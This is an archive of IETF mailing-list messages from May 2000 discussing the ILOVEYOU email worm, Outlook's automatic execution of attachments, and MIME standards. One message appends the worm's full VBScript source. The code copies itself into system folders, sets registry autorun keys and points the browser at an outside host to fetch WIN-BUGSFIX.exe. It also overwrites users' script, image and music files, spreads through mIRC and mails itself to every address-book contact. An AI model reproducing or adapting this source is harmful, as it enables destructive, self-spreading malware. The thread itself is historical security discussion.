X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

I don't know about deliberate inclusion of the security hole - it looks
more to me like "careless". Feels like it just "was not thought to be
a danger of any kind to security"... (Does the word TITANIC mean anything to
you?)

Lillian Komlossy                     
Site Manager                         
http://www.dmnews.com           
http://www.imarketingnews.com  
(212) 925-7300 ext. 232 


-----Original Message-----
From: Keith Moore [mailto:moore@cs.utk.edu]
Sent: Thursday, May 04, 2000 11:58 AM
To: Valdis.Kletnieks@vt.edu
Cc: isp-wireless@isp-wireless.com; ietf@ietf.org
Subject: Re: THe Value Of Following Standards... (was Re: VIRUS WARNING)



> So if your e-mail software is opening it and feeding it to Visual Basic
> just because it's tagged .vbs even though it's a text/plain, you're
> violating the RFCs.

well there's nothing illegal about violating RFCs.

but it sure seems like the deliberate inclusion of a security hole in 
email software would be sufficient grounds for a class action lawsuit.

Keith



From owner-ietf-outbound  Thu May  4 13:40:10 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA12504
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 13:40:02 -0400 (EDT)
Received: from prue.eim.surrey.ac.uk (IDENT:exim@prue.eim.surrey.ac.uk [131.227.76.5])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA12461
	for <ietf@ietf.org>; Thu, 4 May 2000 13:37:21 -0400 (EDT)
Received: from petra.ee.surrey.ac.uk ([131.227.88.13] ident=eep1lw)
	by prue.eim.surrey.ac.uk with esmtp (Exim 3.03 #1)
	id 12nPYs-0006vn-00; Thu, 04 May 2000 18:37:18 +0100
Date: Thu, 4 May 2000 18:37:15 +0100 (BST)
From: Lloyd Wood <l.wood@eim.surrey.ac.uk>
X-Sender: eep1lw@petra.ee.surrey.ac.uk
Reply-To: L.Wood@eim.surrey.ac.uk
To: Lillian Komlossy <Lillian@dmnews.com>
cc: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: RE: THe Value Of Following Standards... (was Re: VIRUS WARNING) 
In-Reply-To: <983B9A17F5EBD311905600D0B73EA0DE03D8F0@mail.dmnews.com>
Message-ID: <Pine.GSO.4.21.0005041835460.18100-100000@petra.ee.surrey.ac.uk>
Organization: speaking for none
X-url: http://www.ee.surrey.ac.uk/Personal/L.Wood/
X-no-archive: yes
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org

On Thu, 4 May 2000, Lillian Komlossy wrote:

> I don't know about deliberate inclusion of the security hole - it looks
> more to me like "careless". Feels like it just "was not thought to be
> a danger of any kind to security"... (Does the word TITANIC mean anything to
> you?)

They should have called it Marko Polo: the ship with the hole.

L.

a viral CFP would wrap all this up nicely.

<L.Wood@surrey.ac.uk>PGP<http://www.ee.surrey.ac.uk/Personal/L.Wood/>



From owner-ietf-outbound  Thu May  4 13:50:10 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA12671
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 13:50:02 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA12586
	for <ietf@ietf.org>; Thu, 4 May 2000 13:44:21 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id NAA23364;
        Thu, 4 May 2000 13:44:15 -0400 (EDT)
Message-Id: <200005041744.NAA23364@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: Lillian Komlossy <Lillian@dmnews.com>
cc: "'Keith Moore'" <moore@cs.utk.edu>,
        "'isp-wireless@isp-wireless.com'" <isp-wireless@isp-wireless.com>,
        "'ietf@ietf.org'" <ietf@ietf.org>
Subject: Re: THe Value Of Following Standards... (was Re: VIRUS WARNING) 
In-reply-to: Your message of "Thu, 04 May 2000 13:13:59 EDT."
             <983B9A17F5EBD311905600D0B73EA0DE03D8F0@mail.dmnews.com> 
Date: Thu, 04 May 2000 13:44:15 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

> I don't know about deliberate inclusion of the security hole - it looks
> more to me like "careless". Feels like it just "was not thought to be
> a danger of any kind to security"... (Does the word TITANIC mean anything to
> you?)

the builders of the titanic didn't know that certain kinds of steel 
become brittle at cold temperatures.  

otoh, the developers of this user agent knew, or should have known, 
the risks of executing code of unknown origin.  they have been 
understood for a long time.  they were discussed during development
of the MIME standard. the MIME specs have required content-types to 
document known security risks since the early 1990s. other email-borne
viruses have used similar mechanisms to this one to propagte themselves.

Keith



From owner-ietf-outbound  Thu May  4 14:03:03 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA12958
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 14:02:58 -0400 (EDT)
Received: from torque.pothole.com ([209.94.126.195])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA12718
	for <ietf@ietf.org>; Thu, 4 May 2000 13:52:03 -0400 (EDT)
Received: from localhost (localhost [127.0.0.1])
	by torque.pothole.com (8.8.2/8.8.8) with SMTP id NAA03235
	for ietf@ietf.org; Thu, 4 May 2000 13:53:35 -0400 (EDT)
Message-Id: <200005041753.NAA03235@torque.pothole.com>
X-Authentication-Warning: torque.pothole.com: localhost [127.0.0.1] didn't use HELO protocol
To: ietf@ietf.org
Subject: Security insanity
Date: Thu, 04 May 2000 13:53:34 -0400
From: "Donald E. Eastlake 3rd" <dee3@torque.pothole.com>
X-Mts: smtp
X-Loop: ietf@ietf.org


It's not switching to UNIX, its avoiding secuirty insanity like
AcitveX, self-extracting binaries, automatically executing attachemnts
on opening on opening mail, as apparently Outlook does, etc.  A few
seconds thought would tell anyone with a clue what a bad idea these
are.

It is just insane that vast parts of the computing capacity of the world
can be damaged this badly and this trivially.

Donald

PS:  Appended below is the virus in a hopefully non-virulent form.

>Donald,

>The whole world will not switch over to Unix 
>- the average user will always be more confortable with Windows 
>unless Unix will at one point offer the same  seamless user-friendliness. 
>So it will always be a problem, one which cannot be solved by telling 
>others not to use what they've accustomed to - and one which cannot be
>ignored.
>
>Lillian Komlossy                     
>Site Manager                         
>http://www.dmnews.com           
>http://www.imarketingnews.com  
>(212) 925-7300 ext. 232 

=====================================================================
 Donald E. Eastlake 3rd                      dee3@torque.pothole.com
 140 Forest Avenue                                +1 914-276-2668(h)
 Hudson, MA 01749 USA                             +1 508-261-5434(w)

q MIME-Version: 1.0
q X-Mailer: Internet Mail Service (5.5.2448.0)
q Content-Type: multipart/mixed;
q 	boundary="----_=_NextPart_000_01BFB5DE.957A65A0"
q 
q This message is in MIME format. Since your mail reader does not understand
q this format, some or all of this message may not be legible.
q 
q ------_=_NextPart_000_01BFB5DE.957A65A0
q Content-Type: text/plain
q 
q 
q kindly check the attached LOVELETTER coming from me.
q 
q 
q ------_=_NextPart_000_01BFB5DE.957A65A0
q Content-Type: application/octet-stream;
q 	name="LOVE-LETTER-FOR-YOU.TXT.vbs"
q Content-Transfer-Encoding: quoted-printable
q Content-Disposition: attachment;
q 	filename="LOVE-LETTER-FOR-YOU.TXT.vbs"
q 
q rem  barok -loveletter(vbe) <i hate go to school>
q rem 			by: spyder  /  ispyder@mail.com  /  @GRAMMERSoft Group  /  =
q Manila,Philippines
q On Error Resume Next
q dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
q eq=3D""
q ctr=3D0
q Set fso =3D CreateObject("Scripting.FileSystemObject")
q set file =3D fso.OpenTextFile(WScript.ScriptFullname,1)
q vbscopy=3Dfile.ReadAll
q main()
q sub main()
q On Error Resume Next
q dim wscr,rr
q set wscr=3DCreateObject("WScript.Shell")
q rr=3Dwscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows =
q Scripting Host\Settings\Timeout")
q if (rr>=3D1) then
q wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting =
q Host\Settings\Timeout",0,"REG_DWORD"
q end if
q Set dirwin =3D fso.GetSpecialFolder(0)
q Set dirsystem =3D fso.GetSpecialFolder(1)
q Set dirtemp =3D fso.GetSpecialFolder(2)
q Set c =3D fso.GetFile(WScript.ScriptFullName)
q c.Copy(dirsystem&"\MSKernel32.vbs")
q c.Copy(dirwin&"\Win32DLL.vbs")
q c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
q regruns()
q html()
q spreadtoemail()
q listadriv()
q end sub
q sub regruns()
q On Error Resume Next
q Dim num,downread
q regcreate =
q "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKern=
q el32",dirsystem&"\MSKernel32.vbs"
q regcreate =
q "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunService=
q s\Win32DLL",dirwin&"\Win32DLL.vbs"
q downread=3D""
q downread=3Dregget("HKEY_CURRENT_USER\Software\Microsoft\Internet =
q Explorer\Download Directory")
q if (downread=3D"") then
q downread=3D"c:\"
q end if
q if (fileexist(dirsystem&"\WinFAT32.exe")=3D1) then
q Randomize
q num =3D Int((4 * Rnd) + 1)
q if num =3D 1 then
q regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
q Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfm=
q hPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
q elseif num =3D 2 then
q regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
q Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqw=
q erWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
q elseif num =3D 3 then
q regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
q Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBd=
q QZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
q elseif num =3D 4 then
q regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
q Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSD=
q GjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN=
q -BUGSFIX.exe"
q end if
q end if
q if (fileexist(downread&"\WIN-BUGSFIX.exe")=3D0) then
q regcreate =
q "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BU=
q GSFIX",downread&"\WIN-BUGSFIX.exe"
q regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet =
q Explorer\Main\Start Page","about:blank"
q end if
q end sub
q sub listadriv
q On Error Resume Next
q Dim d,dc,s
q Set dc =3D fso.Drives
q For Each d in dc
q If d.DriveType =3D 2 or d.DriveType=3D3 Then
q folderlist(d.path&"\")
q end if
q Next
q listadriv =3D s
q end sub
q sub infectfiles(folderspec) =20
q On Error Resume Next
q dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
q set f =3D fso.GetFolder(folderspec)
q set fc =3D f.Files
q for each f1 in fc
q ext=3Dfso.GetExtensionName(f1.path)
q ext=3Dlcase(ext)
q s=3Dlcase(f1.name)
q if (ext=3D"vbs") or (ext=3D"vbe") then
q set ap=3Dfso.OpenTextFile(f1.path,2,true)
q ap.write vbscopy
q ap.close
q elseif(ext=3D"js") or (ext=3D"jse") or (ext=3D"css") or (ext=3D"wsh") =
q or (ext=3D"sct") or (ext=3D"hta") then
q set ap=3Dfso.OpenTextFile(f1.path,2,true)
q ap.write vbscopy
q ap.close
q bname=3Dfso.GetBaseName(f1.path)
q set cop=3Dfso.GetFile(f1.path)
q cop.copy(folderspec&"\"&bname&".vbs")
q fso.DeleteFile(f1.path)
q elseif(ext=3D"jpg") or (ext=3D"jpeg") then
q set ap=3Dfso.OpenTextFile(f1.path,2,true)
q ap.write vbscopy
q ap.close
q set cop=3Dfso.GetFile(f1.path)
q cop.copy(f1.path&".vbs")
q fso.DeleteFile(f1.path)
q elseif(ext=3D"mp3") or (ext=3D"mp2") then
q set mp3=3Dfso.CreateTextFile(f1.path&".vbs")
q mp3.write vbscopy
q mp3.close
q set att=3Dfso.GetFile(f1.path)
q att.attributes=3Datt.attributes+2
q end if
q if (eq<>folderspec) then
q if (s=3D"mirc32.exe") or (s=3D"mlink32.exe") or (s=3D"mirc.ini") or =
q (s=3D"script.ini") or (s=3D"mirc.hlp") then
q set scriptini=3Dfso.CreateTextFile(folderspec&"\script.ini")
q scriptini.WriteLine "[script]"
q scriptini.WriteLine ";mIRC Script"
q scriptini.WriteLine ";  Please dont edit this script... mIRC will =
q corrupt, if mIRC will"
q scriptini.WriteLine "     corrupt... WINDOWS will affect and will not =
q run correctly. thanks"
q scriptini.WriteLine ";"
q scriptini.WriteLine ";Khaled Mardam-Bey"
q scriptini.WriteLine ";http://www.mirc.com"
q scriptini.WriteLine ";"
q scriptini.WriteLine "n0=3Don 1:JOIN:#:{"
q scriptini.WriteLine "n1=3D  /if ( $nick =3D=3D $me ) { halt }"
q scriptini.WriteLine "n2=3D  /.dcc send $nick =
q "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
q scriptini.WriteLine "n3=3D}"
q scriptini.close
q eq=3Dfolderspec
q end if
q end if
q next =20
q end sub
q sub folderlist(folderspec) =20
q On Error Resume Next
q dim f,f1,sf
q set f =3D fso.GetFolder(folderspec) =20
q set sf =3D f.SubFolders
q for each f1 in sf
q infectfiles(f1.path)
q folderlist(f1.path)
q next =20
q end sub
q sub regcreate(regkey,regvalue)
q Set regedit =3D CreateObject("WScript.Shell")
q regedit.RegWrite regkey,regvalue
q end sub
q function regget(value)
q Set regedit =3D CreateObject("WScript.Shell")
q regget=3Dregedit.RegRead(value)
q end function
q function fileexist(filespec)
q On Error Resume Next
q dim msg
q if (fso.FileExists(filespec)) Then
q msg =3D 0
q else
q msg =3D 1
q end if
q fileexist =3D msg
q end function
q function folderexist(folderspec)
q On Error Resume Next
q dim msg
q if (fso.GetFolderExists(folderspec)) then
q msg =3D 0
q else
q msg =3D 1
q end if
q fileexist =3D msg
q end function
q sub spreadtoemail()
q On Error Resume Next
q dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
q set regedit=3DCreateObject("WScript.Shell")
q set out=3DWScript.CreateObject("Outlook.Application")
q set mapi=3Dout.GetNameSpace("MAPI")
q for ctrlists=3D1 to mapi.AddressLists.Count
q set a=3Dmapi.AddressLists(ctrlists)
q x=3D1
q regv=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
q if (regv=3D"") then
q regv=3D1
q end if
q if (int(a.AddressEntries.Count)>int(regv)) then
q for ctrentries=3D1 to a.AddressEntries.Count
q malead=3Da.AddressEntries(x)
q regad=3D""
q regad=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&male=
q ad)
q if (regad=3D"") then
q set male=3Dout.CreateItem(0)
q male.Recipients.Add(malead)
q male.Subject =3D "ILOVEYOU"
q male.Body =3D vbcrlf&"kindly check the attached LOVELETTER coming from =
q me."
q male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
q male.Send
q regedit.RegWrite =
q "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
q end if
q x=3Dx+1
q next
q regedit.RegWrite =
q "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
q else
q regedit.RegWrite =
q "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
q end if
q next
q Set out=3DNothing
q Set mapi=3DNothing
q end sub
q sub html
q On Error Resume Next
q dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
q dta1=3D"<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META =
q NAME=3D@-@Generator@-@ CONTENT=3D@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& =
q _
q "<META NAME=3D@-@Author@-@ CONTENT=3D@-@spyder ?-? ispyder@mail.com ?-? =
q @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& =
q _
q "<META NAME=3D@-@Description@-@ CONTENT=3D@-@simple but i think this is =
q good...@-@>"&vbcrlf& _
q "<?-?HEAD><BODY =
q ONMOUSEOUT=3D@-@window.name=3D#-#main#-#;window.open(#-#LOVE-LETTER-FOR-=
q YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _
q "ONKEYDOWN=3D@-@window.name=3D#-#main#-#;window.open(#-#LOVE-LETTER-FOR-=
q YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=3D@-@fixed@-@ =
q BGCOLOR=3D@-@#FF9933@-@>"&vbcrlf& _
q "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to =
q read this HTML file<BR>- Please press #-#YES#-# button to Enable =
q ActiveX<?-?p>"&vbcrlf& _
q "<?-?CENTER><MARQUEE LOOP=3D@-@infinite@-@ =
q BGCOLOR=3D@-@yellow@-@>----------z--------------------z----------<?-?MAR=
q QUEE> "&vbcrlf& _
q "<?-?BODY><?-?HTML>"&vbcrlf& _
q "<SCRIPT language=3D@-@JScript@-@>"&vbcrlf& _
q "<!--?-??-?"&vbcrlf& _
q "if (window.screen){var wi=3Dscreen.availWidth;var =
q hi=3Dscreen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbc=
q rlf& _
q "?-??-?-->"&vbcrlf& _
q "<?-?SCRIPT>"&vbcrlf& _
q "<SCRIPT LANGUAGE=3D@-@VBScript@-@>"&vbcrlf& _
q "<!--"&vbcrlf& _
q "on error resume next"&vbcrlf& _
q "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
q "aw=3D1"&vbcrlf& _
q "code=3D"
q dta2=3D"set =
q fso=3DCreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
q "set dirsystem=3Dfso.GetSpecialFolder(1)"&vbcrlf& _
q "code2=3Dreplace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
q "code3=3Dreplace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
q "code4=3Dreplace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
q "set =
q wri=3Dfso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
q "wri.write code4"&vbcrlf& _
q "wri.close"&vbcrlf& _
q "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
q "if (err.number=3D424) then"&vbcrlf& _
q "aw=3D0"&vbcrlf& _
q "end if"&vbcrlf& _
q "if (aw=3D1) then"&vbcrlf& _
q "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
q "window.close"&vbcrlf& _
q "end if"&vbcrlf& _
q "end if"&vbcrlf& _
q "Set regedit =3D CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
q "regedit.RegWrite =
q @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^=
q -^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _
q "?-??-?-->"&vbcrlf& _
q "<?-?SCRIPT>"
q dt1=3Dreplace(dta1,chr(35)&chr(45)&chr(35),"'")
q dt1=3Dreplace(dt1,chr(64)&chr(45)&chr(64),"""")
q dt4=3Dreplace(dt1,chr(63)&chr(45)&chr(63),"/")
q dt5=3Dreplace(dt4,chr(94)&chr(45)&chr(94),"\")
q dt2=3Dreplace(dta2,chr(35)&chr(45)&chr(35),"'")
q dt2=3Dreplace(dt2,chr(64)&chr(45)&chr(64),"""")
q dt3=3Dreplace(dt2,chr(63)&chr(45)&chr(63),"/")
q dt6=3Dreplace(dt3,chr(94)&chr(45)&chr(94),"\")
q set fso=3DCreateObject("Scripting.FileSystemObject")
q set c=3Dfso.OpenTextFile(WScript.ScriptFullName,1)
q lines=3DSplit(c.ReadAll,vbcrlf)
q l1=3Dubound(lines)
q for n=3D0 to ubound(lines)
q lines(n)=3Dreplace(lines(n),"'",chr(91)+chr(45)+chr(91))
q lines(n)=3Dreplace(lines(n),"""",chr(93)+chr(45)+chr(93))
q lines(n)=3Dreplace(lines(n),"\",chr(37)+chr(45)+chr(37))
q if (l1=3Dn) then
q lines(n)=3Dchr(34)+lines(n)+chr(34)
q else
q lines(n)=3Dchr(34)+lines(n)+chr(34)&"&vbcrlf& _"
q end if
q next
q set b=3Dfso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
q b.close
q set d=3Dfso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
q d.write dt5
q d.write join(lines,vbcrlf)
q d.write vbcrlf
q d.write dt6
q d.close
q end sub
q ------_=_NextPart_000_01BFB5DE.957A65A0--



From owner-ietf-outbound  Thu May  4 14:10:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA13128
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 14:10:02 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA13057
	for <ietf@ietf.org>; Thu, 4 May 2000 14:06:24 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta0/8.11.0.Beta0) with ESMTP id e44I6Eh25570;
	Thu, 4 May 2000 14:06:14 -0400
Message-Id: <200005041806.e44I6Eh25570@black-ice.cc.vt.edu>
X-Mailer: exmh version 2.1.1 10/15/1999
To: "Michael H. Warfield" <mhw@wittsend.com>
cc: isp-wireless@isp-wireless.com, ietf@ietf.org
Subject: Re: THe Value Of Following Standards... (was Re: VIRUS WARNING) 
In-reply-to: Your message of "Thu, 04 May 2000 10:41:34 EDT."
             <20000504104134.E15048@alcove.wittsend.com> 
X-URL: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <00cf01bfb5cc$79bc4280$4cc8a8c0@clearaccess.net> <200005041446.e44Ekbh33444@black-ice.cc.vt.edu>
            <20000504104134.E15048@alcove.wittsend.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Thu, 04 May 2000 14:06:09 -0400
X-Loop: ietf@ietf.org

On Thu, 04 May 2000 10:41:34 EDT, "Michael H. Warfield" said:
> 	Your mailer may be able to display it as text (mine, Mutt, certainly
> can) but it is definitely propagating as type application/octet-stream, not
> text/plain.  Wish we could lay that one on them, but we can't.

Mea Culpa - seems *MY* MUA decided to be naughty and flag it as a
text/plain, so I reported it as such.  I'll shut up now while I
go and beat said MUA into submission and make it not lie to me anymore.

Yes, the data as it was actually stored in the message store was an
application/octet-stream.  However, that's not much better, security-wise.
(Although at least with an "application/foobar", you know that it's designed
for application foobar, and can appropriately sandbox your foobar-viewer).


-- 
				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech



From owner-ietf-outbound  Thu May  4 14:20:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA13317
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 14:20:02 -0400 (EDT)
Received: from ds.xpedio.com ([195.242.45.180])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA13270
	for <ietf@ietf.org>; Thu, 4 May 2000 14:17:43 -0400 (EDT)
Received: from siddharta007.nou.com ([193.150.223.250]) by ds.xpedio.com
          (Netscape Messaging Server 3.62)  with ESMTP id 396
          for <ietf@ietf.org>; Thu, 4 May 2000 20:23:39 +0200
Message-Id: <4.3.1.2.20000504201610.00b2c5c0@dredd.swip.net>
X-Sender: md14131@dredd.swip.net
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Thu, 04 May 2000 20:16:56 +0200
To: ietf@ietf.org
From: Peter =?iso-8859-1?Q?N=F5u?= <peter@nou.com>
Subject: value of standards
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"; format=flowed
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id OAA13270
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 8bit

At 18:02 2000-05-04 Lillian Komlossy wrote:
>The whole world will not switch over to Unix
>- the average user will always be more confortable with Windows

The whole world might not be comfortable with Windows but many, 
many of my collegues around the world work at companies where 
they have absolutely no say on the choise of either OS or email 
client. The CIO/CTO (blame him or her instead!) (simply) made 
the (safest) decision and went for the Exchange/Outlook combo 
with added Office integration :-) And the users had no say whatsoever.

Rather than making fun of or scream "stupid", why don´t we keep 
developing and arguing for standard based 'solutions': because 
that's what ms is selling with a fair amount of success. Maybe 
TCO (total cost of ownership) calculations comparing "standard 
combos" with MS offering, taking virus downtime into account would help?

/peter



     ---------------------------------------------------------------
    "The sheepdog is shown its possibilities, he learns what life is
     like for a good dog and is invited to walk in a rational world
     whose farthest boundaries are defined by grace."
                                         --Donald McCaig, Nop's Hope

     peter@nou.com              Nöu How, Firma
     Tel +46 70 515 7602        Stadshagsplan 10
     Fax +46 70 617 1602        112 50 Stockholm
     Cellular +46 70 515 7602



From owner-ietf-outbound  Thu May  4 14:40:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA13707
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 14:40:02 -0400 (EDT)
Received: from tsx-prime.MIT.EDU (TSX-PRIME.MIT.EDU [18.86.0.76])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA13454
	for <ietf@ietf.org>; Thu, 4 May 2000 14:30:35 -0400 (EDT)
Received: by tsx-prime.MIT.EDU 
	with sendmail-SMI-8.6/1.2, id OAA05848; Thu, 4 May 2000 14:30:23 -0400
Date: Thu, 4 May 2000 14:30:23 -0400
Message-Id: <200005041830.OAA05848@tsx-prime.MIT.EDU>
From: "Theodore Y. Ts'o" <tytso@MIT.EDU>
To: "Donald E. Eastlake 3rd" <dee3@torque.pothole.com>
CC: <ietf@ietf.org>
In-reply-to: Donald E. Eastlake 3rd's message of Thu, 04 May 2000 10:48:12
	-0400, <200005041448.KAA02601@torque.pothole.com>
Subject: Re: VIRUS WARNING
Phone: (781) 391-3464
X-Loop: ietf@ietf.org

   Date: Thu, 04 May 2000 10:48:12 -0400
   From: "Donald E. Eastlake 3rd" <dee3@torque.pothole.com>

   The whole world does not run software which is a good culture medium
   for email viruses.  I mostly use nice old UNIX software and it would
   take a number of extra steps on my part for some embdedded virus to
   get a chance to run.  If your software automatically executes stuff
   in attachments, you need to change your software, not develope a list
   of subject lines you are freightened of.

You need to get with program!  Having software which is a good culture
medium for e-mail virus is part of the innovative new features which
customers are demanding.  Clearly, you need report to re-education camps
to learn why it's important to let the government let companies have to
freedom to innovate wonderful things like vbscript.  :-)

							- Ted



From owner-ietf-outbound  Thu May  4 14:50:07 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA13912
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 14:50:02 -0400 (EDT)
Received: from ginger.lcs.mit.edu (ginger.lcs.mit.edu [18.26.0.82])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA13647
	for <ietf@ietf.org>; Thu, 4 May 2000 14:38:44 -0400 (EDT)
Received: (from jnc@localhost)
	by ginger.lcs.mit.edu (8.9.1/8.9.1) id OAA02813;
	Thu, 4 May 2000 14:38:09 -0400
Date: Thu, 4 May 2000 14:38:09 -0400
From: "J. Noel Chiappa" <jnc@ginger.lcs.mit.edu>
Message-Id: <200005041838.OAA02813@ginger.lcs.mit.edu>
To: ietf@ietf.org, smcpherson@clearaccess.net
Subject: RE: VIRUS WARNING
Cc: jnc@ginger.lcs.mit.edu
X-Loop: ietf@ietf.org

    > From: "Scot Mc Pherson" <smcpherson@clearaccess.net>

    > Actually what happened, was I received this virus from a trusted friend
    > ... I am just glad that I didn't have any e-mail lists in my "address
    > book"

That's actually an interesting bit of "social engineering" on the part of the
virus writer - using the address book as a source of places to propogate to
means that those people who get it are *exactly* the set of people who know
you, and are thus more likely to open a random unexpected attachment...

	Noel



From owner-ietf-outbound  Thu May  4 15:00:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA14096
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 15:00:03 -0400 (EDT)
Received: from vrtx.co.uk (root@vortex1.vrtx.net [195.224.63.4])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA13858
	for <ietf@ietf.org>; Thu, 4 May 2000 14:45:54 -0400 (EDT)
Received: from localhost (james@localhost)
	by vrtx.co.uk (8.9.3/8.8.8) with ESMTP id TAA23437;
	Thu, 4 May 2000 19:53:24 +0100
Date: Thu, 4 May 2000 19:53:24 +0100 (BST)
From: A James Lewis <james@FSCK.CO.UK>
X-Sender: james@vortex1.vrtx.net
To: Lillian Komlossy <Lillian@dmnews.com>
cc: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: RE: VIRUS WARNING 
In-Reply-To: <983B9A17F5EBD311905600D0B73EA0DE03D8EA@mail.dmnews.com>
